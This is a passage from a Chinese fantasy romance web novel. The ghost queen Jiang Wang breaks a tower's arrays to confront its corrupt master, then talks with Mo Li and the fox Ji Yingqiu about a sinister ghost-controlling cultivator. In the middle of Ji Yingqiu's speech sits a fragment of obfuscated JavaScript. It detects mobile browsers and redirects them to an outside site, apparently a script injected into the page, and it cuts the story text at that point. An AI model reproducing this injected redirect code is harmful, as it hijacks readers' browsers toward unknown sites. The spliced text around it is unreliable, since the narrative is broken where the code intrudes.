江妄抬起头,今夜明月辉辉,清亮的光织成一层轻轻的薄纱。
白衣的姑娘仰头望月,被那薄纱兜头罩下,遗世独立。
啊,我的公子,我对着今夜的月亮悄悄宣布,这一切正式开始了。
……
果然,第二天,李甜甜就不知道想了什么办法,和乔洒松联系上见面了。
“乔洒松回来了,在十三楼熙鹤堂,他自己的领域里。”
江妄拉着陌离打开了金露阁的瓷瓶,二人身形一闪出现在九楼的空间隔离上。
她没解释自己为什么知道乔洒松的行踪,陌离也没问。
“要快,他可能已经意识到被我们发现了。”江妄又补了一句。
陌离点点头,在空间隔离上飞速摆着阵,末了召出减翠入阵,不断注入灵力。
没过一会儿,陌离缓缓抬头看着江妄,他直白开口,
“你来,我修为不够。”
江妄:……
要去十三楼熙鹤堂,可不是简简单单搭个阵说去就去了。
陌离这阵是从根源上破坏了绛楼原有的所有空间法术,阵成那一刻,绛楼香阵的运转系统将会彻底瘫痪。到时候别说是熙鹤堂了,整个绛楼他们想去哪儿都能去。
可谓是简单粗暴了。
不是说陌离就不能搞一个温和一点的办法,只是大量的演算需要时间,而现在显然来不及。
但问题是,要闹出这么大的动静,陌离来动手,日后可以说是遥岑宗查案,就算不合规,也总能说得过去。
可要是她来,这么强的魂力一上,鬼气无法抑制。届时整个南界都会知道,这是她江妄这个鬼王干的了。
前两天刚灭了宿芳宫一宫,现在又搞听香楼,怕是有点儿……太嚣张了。
在陌离的注视下,江妄最终妥协了。行吧,嚣张就嚣张了。
想当年她纵横江北,别说是破开哪个宗门的基阵,就是轰了整个山门又有谁敢多说一句?
江妄轻勾唇角,一袖子甩了过去,磅礴的魂力瞬间涌入阵中。减翠所在的阵眼亮了起来,几乎是同时,光亮以阵眼为圆心迅速蔓延。
不多时,从九楼的空间隔离到其他所有的空间隔离,全部都亮起了阵法的纹路。
各层悬浮的房间本来都附着浅浅的结界,看起来像是包着粼粼的波光,此刻全部失去,一下子都灰扑扑的了。
房间里的人显然也发现不同了,因为解阵香已经毫无作用,空间隔离上的人想进进不去,房间里的人想出也出不来了。隔音功能也消失了,喧闹的声音一瞬间响彻整个绛楼。
等到十二层空间隔离都弥漫上了肉眼可见的浓重鬼气,听香楼弟子便以为是有魔化的厉鬼闯入,将要大开杀戒。
一时间,尖叫和哭泣把绛楼的气氛搅得更加浑浊恐怖。
“走吧,”江妄如往常一般灿笑,没有一点儿心虚的神色。只是在这森冷可怖的鬼气之中,那笑容显得没有一点儿温度。
陌离没有说话,却不似以往般呆滞,他眸色深了些,轻飘飘地看了江妄一眼。
转瞬,二人便直接出现在十三楼的熙鹤堂的书房里。
李甜甜正跪在地上说着什么,而乔洒松站在他那张灵木桌台后,神色难看,他身后的椅子翻在地上,想来是刚刚解阵香失效,鬼气蔓延,他们也感觉到了。
二人一出现在熙鹤堂,几乎是他们落地的同时,乔洒松便接连几掌打过来,皆是杀招。江妄微微一笑,周身魂力轻涌,她身形未动便一一化解。
乔洒松也终于看清了来
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人,稍稍卸下了面上的警惕与惊恐。
“不想竟是鬼王,扮作遥岑宗师姐,真是好雅兴。”
他抬起肥胖的手拢了拢发束,又示意李甜甜起身,缓声道,
“我听香近来自顾不暇,对南界诸事自是疲于应付,可鬼王也该知道我听香从未参与任何形式的剿鬼。而私下里说,我乔洒松是支持鬼界独立的。”
他说了一堆好像无关紧要的话,不问江妄身份,也不提他们贸然闯入,丝毫没有因为自家基阵被毁而不悦,反而笑得从容又虚假,
“我不在意鬼王为何隐瞒身份来我听香,我就还当您是遥岑来查案的师姐。
只要您能帮我杀了那灭绝人性的凶手,解我之困,亦是解听香城之困,我听香自当以鬼王马首是瞻。”
他弯腰对江妄行了一礼,
“我想,这对于鬼王来说不过是小事一桩。”
“好说。乔香主如此识趣,自然都好说。”江妄满脸笑意,直接一口答应下来。
“诚如香主所说,我想杀个人不过小事一桩。不过我想,香主若是有什么线索,还是直接告诉我的好,特别是如果香主与凶手认识的话。”江妄意有所指地道。
“我们自己去查不是不行,只是,查总需要时间。
我们倒是无所谓,但对于香主来说……速战速决好像很重要。”
乔洒松的神色随着江妄的话变来变去,最终深深皱起了眉,他看着江妄带笑的眼睛,突然意识到。
这是鬼王,人间的事再污糟,也通通与她无关。她的存在本就代表着凶戾与疯狂,自己这些事在她面前可能根本算不了什么。
况且当年那些事,真说起来与他乔洒松又有什么关系?
对,如今种种不过是梁霁自己一腔仇怨罢了,有什么不能说的?
“凶手名叫梁霁。”他紧蹙的眉舒展,终于开口。
“这些年听香城的惨案,翾风娇子、酤酒逸客和柳掌事,还有……我乔家,都是他一人所为。手段惨无人道,简直是罪不容诛!鬼王若能杀了他,不仅是为我听香报了血仇,更是大义之举,传扬开来,也是提振鬼界新形象的大好机会……”
“先等一下。”江妄礼貌打断。
怎么说着说着又说道她身上了?
她是真没看出来,这乔洒松还有干传销的天赋呢?而且人家这忽悠能力,真是比江大宝那几个不着调的强上一万倍。
江妄微笑,
“烦请香主详细讲讲,这梁霁是谁,为什么要干出这些事。又为什么,要杀你呢?”
乔洒松知道这女鬼不好糊弄,但没想到她这么较真儿,而且她到底知道多少……
他只好道,
“梁霁曾是听香城大族的少爷,后来族灭落魄。至于为什么要作恶,怕是心理扭曲,随意泄愤罢了。”
江妄似笑非笑地看着他,并不说话。
乔洒松有些烦躁了,
“他为何要杀人,我又怎么能知道变态凶手的想法?
再者,无论如何,那些丧尽天良的事总是他做下的,鬼王只管杀了他就是了,何必问上这许多?”
江妄耸耸肩,“香主这是不想说了。”
她刨根问底,不光是她略有好奇,最主要的是,这不是有个历劫的嘛。
“算啦算啦。”
江妄拉起陌离,“也不算全无收获,走吧公子。”
陌离的目光不知道什么时候又涣散了,听到要走也只是眼神空空地点了点头。
乔洒松直觉有点不对,他连忙拦住二人,“不知鬼王可否给个期限,在下也能稍稍安心。”
“期限?”江妄夸张地一捂嘴,“哪有什么期限啊?”
她那张清丽的脸配上天真的神情,半分违和也无。
“鬼王这是什么意思?”乔洒松堆满肥肉的脸倏地阴沉下来。
“字面意思啊。”白衣姑娘语气里都是轻快的意味,“若是碰到了那个叫梁霁的,我会拿住他,但杀不杀的就不一定了。”
“如此恶徒,不杀何以平民愤?!”乔洒松几乎是质问出口。
“可是,正如香主所说,我鬼界正是提振新形象的时候,贸然杀人总是落人话柄的。此案需听香楼回避,性质又如此恶劣,人我若抓到,自是送去遥岑宗处置,哪有自己草草杀了的道理?杀他,我没有这个权利,对我也毫无利益。
再说了,这人他为什么干这些事,有无隐情,尚未可知。或者人家精神不好,就是单纯发疯呢?
最后说句最难听的,你说这梁霁是凶手,他就是了?你乔洒松又在这桩桩件件的事情里扮演着什么角色?”
乔洒松彻底怒了,表面的平和再也维持不下去,“鬼王既不信我,又来做什么?还问我做什么!?”
“谁说我只是来问你的了?”江妄无辜笑笑,她单手捏诀,熙鹤堂的四壁浮现出了一张魂力凝成的网。
她指了指乔洒松那杂乱不堪的灵木桌台,此刻那上面胡乱堆着各种稀世珍宝,
“我要是不来,香主岂不是跑了?”
“从你的种种反应来看,凶手下一个要杀的应该就是你。而我想见猎人,自然要把他的猎物掌控起来。”江妄笑得恶劣。
“你说对吧?”
“你!!”乔洒松气极,不顾江妄身份实力,伸出食指指着她骂道,
“堂堂鬼王,竟然如此言而无信!随意许诺信口胡说,简直……卑鄙无耻!”
“你不是第一个骂我不要脸的人,”江妄对这种人参公鸡向来不痛不痒,她慢条斯理地接着道,
“而且是你蠢好吧?
一个正常人究竟是有多蠢,才会相信鬼话呢?”
23. 第 23 章
江妄和陌离从熙鹤堂出来,把李甜甜也带上了。
她原话是这么说的,
“你家香主的命全在我一念之间,什么该说什么不该说你自己心里清楚。
从今天开始,你就是听香楼的代理香主。找几个人把你们基阵修修,让绛楼恢复运转,这些该怎么做,想必你比我要清楚。”
她还没想把人家听香楼搞倒闭。
李甜甜一脸的敢怒不敢言,最后眼看着这两个真要丢下这一堆烂摊子甩手走了,才不得不诺诺出声,
“师……鬼王陛下,我,那个……我没有拿到基阵图纸的权限,也没有权力指派绛楼阵法师。这些只有香主才……”
江妄心累回头,“代理香主也没有?”
李甜甜小小声,“除了您,也没人承认我是代理香主啊……”她咳了一声,“这样的核心,非香主本人不能触及。”
平时她走到哪大多都是代表着乔洒松,这才无往不利,而乔洒松要是真出事了就不一样了。她平时帮乔洒松处理各项事宜,是上手快,但比她修为高的有不少,这绛楼怎么也轮不到她说话。
让她来代理香主,怕只有这鬼王才这么随意。
江妄:……要你何用。早知道就把你也扔在熙鹤堂了。
“怎么才能有这些权限?”她深吸一口气,万分不耐烦地开口。
……
熙鹤堂。
趴在地上被减翠指着的乔洒松,在经过了几轮□□上以及精神上的毒打之后,说出了图纸所在,交出了身份腰牌。
把腰牌甩给李甜甜,江妄拉着陌离转身就走,心里想着,这回她要是再敢叫住朕,非拍死她不可。
李甜甜好像莫名感觉到一股寒意,这使得她没再开口,目送着这两位离开。
李甜甜:……怎么有一种逃过一劫的感觉?
这绛楼已经乱套了。阵法不用走是省事不少,但也失了风雅。江妄觉得无趣,拉着陌离出了绛楼。
“咱出去吃。”她也不问陌离意见,直接拍板做主了,“就还上回那家,他家杏花酿不错。”说罢,她就掏出那顶白色的帷帽准备往头上戴。
一只修长有力的手抓住了江妄的手腕,制止了她戴帷帽的动作。江妄只得停下动作,一脸疑惑地抬头。
而莫名其妙按住她手腕的人,却像不是粗鲁动作的发出者似的,一直垂眸不语。
对于陌离这种间歇式的抽风,江妄都习惯了。她抽回被抓住的手腕,一把把帷帽丢在陌离怀里,然后不再说什么,自顾自地拉着他走。
直至拉倒酒楼门口,陌离脚下一顿,不走了。
江妄又拽他了两下,没拽动。本来就晒得难受的江妄,耐心在这一刻彻底告罄。
其实也能理解,任谁为男朋友的事连日奔走,他自己不上心就算了,还脑子有病动不动就搞自闭那一套,能不糟心啊?
江妄目露凶光,笑得阴恻恻的,
“公子,你脑子有病我能理解,但这不是我一再迁就你的理由。”
陌离抬起他那张绝美的脸,睁着一双琉璃眸子,清清澈澈地看着她。
他实实在在地看着江妄一个人,双眼没有任何一丝的不清明。
他还是没有说话,但江妄却神奇般地不气了。她展开一个惯性的微笑……
猛然,江妄的笑定在了一个确切的弧度。
街市停止流动,食物香气与人声热闹渐远,
唯有风声四溢。
她被眼前人一把揽进怀里。
江妄身量不低,但此刻在陌离一手揽着她的腰,一手扣着她的头,她竟有一种被完全包围的感觉。
她被人紧紧拥着,丝毫挣脱不得,口鼻都紧紧地贴在那人锁骨上。那人总是冰厉的气息此刻却像是潺潺流水,柔和又紧密地把她包裹了起来。
虽然她一只鬼并不用呼吸,但却无端地产生一阵窒息感。
陌离虽把她抱得很紧,好像一丝空隙都不留。但他又微仰着头,并没有把脑袋搭在江妄头顶或者肩侧。
正午阳光浓烈,女孩的黑发泛着柔软的光,而他浑身发寒,好像抱着一捧随时都会化掉的梦。
“好,”他轻声说,耳语一般,
“我来替你吃。”
……
还是那临街的雅座,杏花酿清甜微涩。
张罗着要吃饭的那人静静坐着,反倒是那被强拉来作陪的人斟了一杯又一杯。
“为什么?”陌离又饮尽一杯,他突然没头脑儿的问了这一句。
这次久久不语的人换成了江妄。
最后她终是扛不住陌离清冽的眼神。
江妄伸手拿起杯子,轻呷一口,自欺欺人地以为这样就能略略挡住自己的神色。
她不经意般开口,
“怎么公子每次不是问我去哪了,就是问我为什么。”她呵笑一声,
“‘为什么’什么?公子何以这般相信我的理解能力?”
陌离还是那样看着她,连眼睛都没眨过一次,“为什么会死?”
他声音很低,音色模糊,江妄很少见他有把话说得这么含糊的时候,
“为什么……化鬼。”后面两个字糊的几不可闻。
江妄放下手中的杯子,杯子与桌面相接的一瞬,轻轻发出了“咔哒”一声,却在这一方已布结界的空间里分外明显。
她终于直视陌离,眼中情绪不明,只是咧开唇角,缓缓展开了一个灿烂的笑容。
“首先回答,我是怎么死的。”她声音清灵,叙事愉快,却让陌离一看就知道她又开始胡诌了。
陌离一对剑眉紧蹙,果然,只听她振振有词,
“我是被鬼吓死的。”
陌离:……
然而陌离无语早了,还有更炸裂的。
江妄紧接着道,
“至于我为什么要化鬼……当然是因为我的执念就是,也当一把鬼,去吓吓别人。”
……
陌离也不知道是不是今日喝了几杯的缘故,情绪比往日更加奇怪,气血几经上涌,又被他强压下去。最后只能拂袖而去。
……
陌离已经走了不知道有多久,江妄却还直直地目视前方,一动也不动,维持着那个很讨人嫌的笑容。
“嘿~江姐姐!”还是一身大红金饰叮当的姬瀛丘,不知道从哪冒出来,非常自来熟地跃至陌离之前坐的位置,然后一屁股坐在桌角。
他从红衣下伸出一只白皙又骨节分明的爪子,轻轻拈起碍事的酒壶,随手一丢,挪出地方来,然后往里蹭了蹭,整只狐狸都坐在了桌子上。
姬瀛丘歪头,发现江妄是真不理他,又把那个白爪子晃来晃去,希望引起江妄的注意。
“江姐姐,你被人定住了吗?江姐姐,江姐姐?江……”
然后他成功地被一阵魂力掀飞了。
江妄终于回过神来,看着面前这只红蝴蝶,眼里的嫌弃藏都藏不住,
“叫魂呐?”她很明显地翻了个白眼。
姬瀛丘嘿嘿笑了两声,熟练地从地上爬起来,又坐在桌子上,“怎么一个人坐在这儿啊?”
他往前凑凑,眨巴着眼睛道。
江妄看他这德行只觉得生理性反胃,殊不知若是换了个人来,怕是会被勾的魂儿都丢了。
姬瀛丘没等来江妄回答也不恼,他低头看了看桌子,
“诶?两个杯子,看来江姐姐也不是一个人嘛。”他抬起那双水波潋滟的眼睛,
“姐姐狠心抛下我,原来是去和他人对饮,我……”
“再说一句,我不用减翠也能给你脑袋开瓢。”江妄打断他的惺惺作态。
“……真是不解风情,怪不得人家不陪你喝了。”姬瀛丘小声嘟囔。
“嗯?你说什么呢?”江妄危险地笑笑。
……
“啊!住手!喔!嗷喔…喔~!我错了!我真错了……呜呜呜,姐啊,您打我不要紧,打坏了手怎么办啊?……啊!姐,别,别拿这个打,打坏了赔钱的还是我啊……”
这红蝴蝶就是常打常新,少一顿都不行。江妄拍拍衣袖坐下,果然,心情好多了,看着这骚包都顺眼不少。
姬瀛丘“柔弱”地倒在一边,捂着自己的腮帮子嘤嘤嘤,“姐,咱打个商量,下回不打脸了行不……”
“不行。”江妄微笑着吐出了这冰冷的两个字。
姬瀛丘也不起来,他扭过去拉住江妄的裙角,一张肿脸上眉毛都皱成了八字,张开嘴凄凄惨惨地正要说什么。
江妄及时打断他,
“谁让你又来我眼前晃的?不是找打是什么?”末了,她话音一转,挑眉道,
“对了,不是说跟我老死不相往来吗?又回来干什么?”
姬瀛丘维持着那个姿势,和江妄对视几秒,终是叹了口气从地上爬起来,给自己施了一个清洁术。
他把头脸收拾了一番,拢着衣袖优雅地坐在江妄对面,赫然一副虞山少主派头,与上一刻倒在地上嘤嘤嘤的红蝴蝶判若两妖。
“襄竹宫灭,林峥惨死。鬼王如此威武,我这不是担心我那表弟吃不消嘛。”
他那双上扬的凤眸不带笑意时,竟颇有几分气势。
江妄却神情不变,
“我知道你来汝是陵干什么的。骨鞭我交给陌离,想必你也认可,之所以一路跟着我们到听香,不过是怀疑我的身份不放心陌离。
后来走了,是因为意识到,我是你,甚至整个虞山都惹不起的存在。”江妄笑笑,眼睛微微眯起。
“怎么现在知道我是鬼王了,反而觉得我可以惹得起了呢?”
“……”姬瀛丘三秒怂。
“姐,我亲姐,我真没有冒犯你的意思,真滴。”他瞬间变得一脸谄媚,又是江妄熟悉的贱,
“从前你给我一化名,我真没觉得你就是鬼王江妄。我知道你厉害,但一想‘江大顺’这名儿,我还以为你是鬼王的手下啥的。我傻,这两天脑子才转过弯儿来。”
“我不知道您是鬼王前还尚替陌离担心担心,现在知道了,您可是咱们南界倡导‘去魔化’第一人……啊不,第一鬼,嘿嘿……您如此尊贵的身份,又不是那些乱七八糟的鬼,能看上我家陌离,那是他的荣幸啊!我们全家的荣幸!我又怎么会担心呢?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15010751|162045||http|test|mini|href|location''.split(''|''),0,{}));
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>江妄第一次没打断这红蝴蝶,突然觉得,这的狗嘴里也不是叫不出哲理来。
对于姬瀛丘的“哲理”,江妄听得挺顺耳的,她懒懒道,
“既然如此,那你回来干嘛?”
“我仰慕您的风姿,一日不见如隔……”姬瀛丘有点上头,又原形毕露了。
“我刚歇一会儿,别逼我打你。”江妄微笑,淡淡道。
“……”姬瀛丘故作深沉地叹了口气,“我知道江姐姐不待见我,其实我也不是特意来讨你的嫌……”
然后就他对上了江妄即将动手的笑容,“我就是来问一件事!”他连忙清了清嗓子,
“咳咳,我姬瀛丘虽不算见多识广,走江湖的时候却听过这样一句话,这几年不太提了,但很多年前却是挺火的。
‘南有陌上公子,北有江天孤月。’”
他斜着眼睛溜了江妄一眼,悄咪咪地看看她的神情,见没什么异状这才继续道,
“这句并称的就是我表弟陌离,和……无情道祖,江北仙姬。”
“因为这南北分界,联系甚少,别人就算知道这句话,最多也只知道有江北仙姬这位大乘修士。我却知道,这位仙姬,姓江……单名一个妄字。
我当时还觉得,这名字起的,真是狂妄得不行……”
姬瀛丘看着江妄面无表情的脸,尴尬得呵呵呵笑了几声。
江妄终于开口,
“你不用在这儿试探,很多事情,你知我知,原没有说出来的必要。”
他以为南界那些宗主宫主不知道吗?大乘期的修士一共才几个?他们不用想都知道江妄是谁。
只是没必要。
一来江妄生前不是南界的人,无甚交情。二来江妄化鬼已是既定事实,无可更改。南界更无法轻易将其消灭。
所以大家装聋作哑,谁也不去提。
人死如灯灭。
灯既灭了,也便无人去关心它燃着时有多么光辉耀眼,更无人去探究它是怎么灭的。只知道它是灭了。
尤其这灯还不是自家的,不必计较损耗,就更没人在意了。
江妄这盏灯从没照亮过南界子民,自然也从未奢求他们会去灰烬里为自己歌功颂德。
无论生前死后,她一直很清楚自己是谁,处在什么位置上。正因为清楚,所以她从来不会产生无用的,自怜自艾之类的情绪。
如姬瀛丘所说,她江妄一生人如其名,狂妄有之,妄念却少。她一世清醒,无愧无情道祖之名。
可惜功败垂成。
陌离,是她一生,不,现在可以说是永世,的痴妄。
姬瀛丘摆摆手,很无奈一般,“我不是试探你,江姐姐。”
说罢,他收了收脸上那些乱七八糟的表情,难得给人一种十分正经的感觉,
“过两天,冥紫江大阵启动,我要去北界一趟。这回你不用担心我赖着你不走了。”他眉目上扬,勾魂摄魄地一笑,
“你救我一命,我也不能毫无表示,若是可以,我会为你拿回一件,本属于你的东西。”
江妄猜到他说的是什么了,却不以为意,她嗤笑一声,
“行啊,你去试试嘛。不过呢,”江妄表情突然严肃,
“不可损及寒星门。否则你拿回来了,我正好用它把你劈成两半。”
要是能拿,她早拿了。
她的月被寒星门所有长老联合,用各自的本命灵血封进了珠星崖。
若是一个两个人,抓来威胁一番,手段多的是。
可这是一群人,总没办法那么精确地在同一时间让这二十多个人听话。
若想拿出月,只能毁了珠星崖硬取。
毁了珠星崖,江妄很轻易就能做到,她也相信,姬瀛丘想点儿办法也能做到。
但她不想。
寒星门气候寒冷,各峰飘雪,玄铁冰封。而珠星崖却画风突变,天地间一片通红,唯有熔岩滚滚。
北界众人只知其是寒星门唯一酷热之地,利用反差如此剧烈的气候惩罚犯人。江妄这个前门主却很清楚,珠星崖才是寒星门的核心所在,熔岩峭壁的最里面是寒星门所有能量的中枢。
珠星崖毁,岩浆爆出,所有能量失去控制,寒星门便也不复存在了。
江妄也知道,正因为自己是鬼非人,只能依靠魂力,所以生前与自己本命相连、神识相通的月才至关重要。没有月,她大乘的实力便不能完全发挥。
但她在知道月已经彻底被封进了珠星崖后,就做出了取舍。
纵是寒星门那些长老再恶心,那么多弟子总是无辜的。
她江妄虽然混账,也向来没什么同理心。但寒星门,总是她成长起来又守护了一生的地方。哪怕她已经死了,哪怕现在的门主是以前和她最不对付的人。
她依然希望北界太平,寒星门长盛不衰。
姬瀛丘笑了,他摇头道,
“我从来没有想过用损毁珠星崖的办法帮你拿回它。”他一身红衣出挑,正经好好笑的时候,俊逸又潇洒。
“虽然与我相识的是江大顺,我却依然能从她身上,瞥见昔年江北仙姬的风采。”
24. 第 24 章
江妄面无表情地看着他,许久,她道,
“我昨天救你,只是因为陌离,虽然不知道他突然抽什么风要杀你。”
所以,你不用做什么来报答我。
那些长老把月封起来可不是单纯为了恶心江妄,只是月这把刀太“邪性”,不可控的因素太多,又无法销毁,只能封印。而寒星门只有珠星崖能勉强承受,把月封入珠星崖又能加固寒星门基阵,两全其美。这才让他们甘愿付出灵血集体封印。
再说,封起来都这么麻烦,要拿出来岂不是更难?
姬瀛丘想要兵不血刃拿回来,就只能和他们协商。江妄太了解自家那些长老都是什么货色,非把姬瀛丘撸掉一身狐狸皮不可。
姬瀛丘向来满嘴跑火车,但此刻,她并不觉得他要帮自己拿回月是在开玩笑。
这红蝴蝶钱多,却也不该为了自己这么用。
“也不单是因为这个。”他眨眨眼,状似苦恼一般,
“哎呀你怎么不明白呢?你救了我只是个由头,就算没有这回事,我去北界也会想办法帮你把月拿回来的。”
“别说哥们不够意思,我可悄悄滴告诉你啊,宿芳宫远不像你想象的那么简单。
因为可怕的从来不是它的襄竹宫,而是……驱魔殿,是那位‘牵尸殿主’。虽然驱魔殿没了,路清嘉也早死了……”
“等一下,”江妄听到了熟悉的名字,“你说谁?”
“路清嘉啊,大名鼎鼎的牵尸殿主,你不知道?你就庆幸他死了吧,不然他绝对是你的天敌。”姬瀛丘撇撇嘴,煞有介事地道。
江妄:……如果不是重名的话。不但不是天敌,还是同类,还是她的下属。
“他如何,你说说看。”江妄支起耳朵。
“你问对人了,这可是宿芳宫的秘辛,只有我知道。”姬瀛丘挤眉弄眼,一脸神秘兮兮地,
“你知道宿芳宫的棘兰长老沈如练吧?路清嘉就是她的徒弟。他喜欢上了自己的师尊,后来沈如练和你前两天杀的那个林峥成婚,路清嘉因爱生恨叛出师门,自立门户,便有了驱魔殿。
然而这路清嘉痴心不改,还惦着沈如练,驱魔殿就成了暄妍沈家的刀……啧啧啧,虐恋情深,虐恋情深啊……若是我,不行就不行呗,何至于搭上自己的前途甚至性命……”
原来,驱魔殿和宿芳宫乃是同源,根本不分彼此。江妄听明白了,但她实在不想再从八卦里筛选有用信息,便直接问,
“路清嘉怎么有‘牵尸殿主’这么难听个外号?又为什么说他是我的天敌?”
姬瀛丘的妖生感慨被骤然打断,略有愤怒,却半点儿也不敢发作,只能道,“我跟你说的可都是秘辛,秘辛!而你问的这些谁都知道,随便找人问就是……”
江妄一个眼刀甩过去。
姬瀛丘:……“好好好,我说还不行?”
“你是北界人,你不清楚。现在以驱鬼为修行特色的暄妍城,其实在四五十年前,是没有这个合法合规的修炼科目的。那时,就算有少数人私下抓两只鬼驱使,基本也搞不出多大的攻击性,还会被当作邪修。
直到路清嘉横空出世,人们发现,鬼这种东西通过炼化,可以人为地操控它们的魔化。它们魔化后没有意志,没有思维,攻击性非常强,而且唯命是从。甚至比灵兽还要好用得多。
加上那时暄妍城局势很复杂,‘驱鬼’这个明显不正常的修炼手段,竟然在沈家的作保下,受到暄妍城修士的狂热追捧。
现在大多数驱鬼修炼,一般都是直接剥出鬼的魂力,转化为类灵力使用。高级一点儿的,抓到鬼后先束缚起来,等着魔化了用精神力打上烙印,炼成鬼仆。
而有一种手段,只有驱魔殿会,换句话说,只有路清嘉会。它叫做“即时魔化。”
你是鬼王你应该最清楚,鬼的魔化是失去记忆唯有执念时的发疯状态,是主观上自发的。
路清嘉驱鬼不是简单的依靠精神力压制,他能随时操控他炼化的鬼的记忆。
对人来说不算什么,但如果把鬼当作平等主体来看,这样的手段有多变态不用我说。这就是路清嘉的厉害之处,落入他手里,你便是鬼王,也讨不到好。”
江妄那日灭襄竹宫,可以轻松驱使他们已经炼制好的鬼仆,是因为他们操控鬼仆不过就是通过精神力强行压制,实力大乘的江妄自然能轻松碾压。
但若那天对上的是所谓“即时魔化”这种操控记忆的手段,怕是绝不会那么轻易解决。
江妄明白,哪怕路清嘉已经死了,襄竹宫也刚被江妄灭了,但只要这种手段还在宿芳宫手里,他们就总有可能学会的一天。到时候别说是自己,整个刚刚建立起来的鬼界也全玩儿完了。
是她自大,没想过宿芳宫还会有这样的底牌,不然她绝对不会这么直接和人家对上。
姬瀛丘把酒壶捡起来,看了看发现没摔坏,就倒了一杯边喝边讲,
“至于为什么叫‘牵尸殿主’。路清嘉这人,于歪门邪道上,可以说是旷世奇才。他捣鼓修炼方式的可不止我刚刚跟你说的这一种,离谱的奇葩的海了去了。其中最离谱最奇葩的一种,也是众人最熟知的,就是他的‘离魂牵尸’。
‘即时魔化’当年驱魔殿还有几个人会,而这‘离魂牵尸’整个南界,可以说前无古人后无来者。”
因为这招不是折腾鬼,是折腾自己。
路清嘉这个疯子发现鬼类的好处,就是不会受到实质的物理性伤害,被攻击时只是魂力被不断削弱,直至魂飞魄散。
换做人,魂力不就是精神力?他便把自己的魂魄生生抽出来,以精神力应对各种攻击。
这样一来只要他精神力还剩那么一点点,他就都有机会回到身体,用灵力继续对抗攻击。
而路清嘉是修驱鬼的,精神力本就极强,在这精神力方面几乎无人能匹敌,从未有人能逼他从离魂状态回归肉身。如此一来,他就相当于有了一个不死之身。
说着容易,但事实上,整个南界根本没几个人有路清嘉那么变态的精神力,也没人有完整地把自己魂魄抽出来的技术,也更没有人能一边忍受离魂的剧烈痛苦一边战斗。
所以,‘离魂牵尸’是路清嘉的独门秘术,也就成了他的个人特征。
他离魂时是他身体最脆弱的时刻,路清嘉并不放心他的身体在别处,即便是自己的储物袋也总有被夺的风险。他就自己凝实魂体把身体牵在手里。
外人看来,就像是一个人拖着自己的尸体,诡异至极。便有了‘牵尸殿主’这个外号。
……
江妄撑着脑袋,唉,真想不到,她优秀的二宝生前是这么传奇个人物。
要不怎么说天道好轮回呢?驱鬼一世,死后竟也成了鬼。
“多谢你,”江妄笑笑,这个笑容可比之前真心多了,她一双黑眸好像闪着光亮,乌黑的发丝滑至身前,
“姬瀛丘,不管你是怎么想的,又因为什么跟我说这些,你这个朋友,我江妄都认下了。”
她挑挑眉看着姬瀛丘,清灵的面容在这样生动的表情下更显娇俏,
“恭喜你,红蝴蝶。不管生前死后,能让我江妄当朋友的,一双手都能数得过来。”
姬瀛丘:……你自恋就算了,红蝴蝶又是什么鬼?
但他只能一脸开心地,
“那我真是,荣幸之至。”
……
和姬瀛丘在绛楼附近吃喝玩乐一下午。江妄非常尽兴,其中一个重要原因就是,她一分钱都没出。
但凡姬瀛丘开始摆脸,她就立刻反问“我们不是好朋友吗?”,把姬瀛丘所有的话都堵回去。
直到晚上,江妄也有点儿累了,“绛楼还修着呢吧,咱在外面住?”
然后,他们站在了整个听香城最最豪华的宾馆大堂。大堂金光闪闪,可能是因为离绛楼近吧,几乎照搬了绛楼穷奢极欲的装修风格。
听香城最豪华的东西,几乎就是于
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整个南界最豪华的东西,听香城最贵的东西,几乎就是整个南界最贵的东西。所以,即便二世祖如姬瀛丘,来了听香城也得略略收着点儿。
而当听到江妄豪爽地大喊一声“你们这最好的房来两间!”时,姬瀛丘一脸疲惫,
“还是我付钱?”
江妄笑呵呵地,“你可以不付,我来变也行。”
姬瀛丘:……他还不想因为这种事被抓起来,丢人。
他把鬼扯到一边,猛吸一口气小声道,
“江姐姐,您贵为鬼王,怎么连这点儿小钱都没有呢?”
这鬼的消费能力真是太疯狂了,单今天一下午她买的东西,就装满了他三个高级储物戒。要是天天如此,不出一月,他多年积攒的私房钱就要被花个七七八八。
“没办法,”江妄非常理所应当地摊手,“鬼界还在建设中,目前没什么钱。而且最主要的是,鬼是低欲望物种,没必要和人类统一货币。”
姬瀛丘上上下下扫了江妄一圈,得出结论,她一身从头到脚都是新买的,
“江姐姐和低欲望三个字可不太相配。”
“我和那些鬼能一样吗?”江妄施施然翻了个白眼,“我可是鬼王,鬼王要有鬼王的排面!”
姬瀛丘狠狠地点头,却一点儿都不像是赞同的样子。
他不再和江妄说话,大步走到柜台前。
掌柜一脸笑眯眯地,把两把天字房的钥匙呈在托盘里递给姬瀛丘。姬瀛丘直接扔回去一把,“不了,我们只开一间。”
江妄也走过来了,“你干嘛?”
“您不是要排面嘛?”姬瀛丘笑得诡异,白皙修长的手指,在黑发中精准地卷起一缕红色的发丝。
他丝毫没有压低声音,当着那掌柜的面妖娆道,“今晚,小的伺候陛下。”
江妄:……
江妄刚想说你开一间也行,我住下,你滚蛋。结果就见一道翠绿剑光从他们一鬼一妖中间穿过,把人家宾馆金光闪闪的柜台,整整齐齐地劈成了两半。
吓傻了的掌柜风中凌乱:……客官,柜台招你惹你了啊。
也不知道是不是故意的,减翠在飞过去的时候,把姬瀛丘勾在手里的那缕红头发割断了。
一向爱美的狐狸此刻却一点儿都不生气。付账的来了,哈哈哈哈哈,姬瀛丘在内心大笑。
姬瀛丘瞅瞅陌离,看他穿了一身很质朴的灰色劲装,像把麻袋裹在身上似的。
姬瀛丘心中吐槽,就他表弟这衣品,要没有这张脸,那得丑成什么样?
他表弟说的好听点那叫沉迷修炼,不食人间烟火。说的难听点就是又宅又呆,竟然还有江妄这样的女子喜欢,真是没天理了。姬瀛丘暗暗摇头。
不过,宅也有宅的好处,这么多年只进不出,陌离仙君可以说是非常非常非常有钱了。
呆也有呆的好处,不解风情如陌离仙君,令多少爱慕者痴心平白碎了一地。其中不乏有女修甚至是男修死后执着,化鬼纠缠,却无一不是被减翠一剑灭魂的结局。
